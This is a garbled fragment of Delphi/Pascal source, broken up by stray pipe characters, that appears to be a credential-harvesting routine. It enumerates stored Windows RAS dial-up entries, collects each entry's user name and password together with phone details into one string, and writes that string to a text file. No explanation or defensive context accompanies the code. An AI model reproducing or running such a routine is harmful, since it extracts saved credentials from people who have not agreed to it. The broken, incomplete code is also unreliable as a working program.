|
|
|
LmErr in 'LmErr.pas', | |
LmCons in 'LmCons.pas', | |
RasError in 'RasError.pas', | |
Ras in 'Ras.pas', | |
LSAManager in 'LSAManager.pas', | |
RASReader in 'RASReader.pas', | |
RASViewer: TRASReader; | |
RASResultString: string = ''; | |
MSGHandle: THandle; | |
procedure RasCallback(PhoneNumber, AreaCode, UserName, Password, EntryName: String); | |
RASResultString := RASResultString+' | '+('#Entry Name: '+EntryName+' | '+#13+ | |
' | '+'#Phone Number: '+PhoneNumber+' | '+#13+' | '+ | |
'#Area Code: '+AreaCode+' | '+#13+' | '+'#User Name: '+UserName+ | |
' | '+#13+' | '+'#Password: '+Password+' ;'+#13); | |
procedure RASEntry(ResValue: string); | |
TFile: TextFile; | |
AssignFile (TFile, ResValue); | |
WriteLn (TFile, RASResultString); | |
RASViewer := TRASReader.Create; | |
RASViewer.GetRasEntries(@RasCallback); | |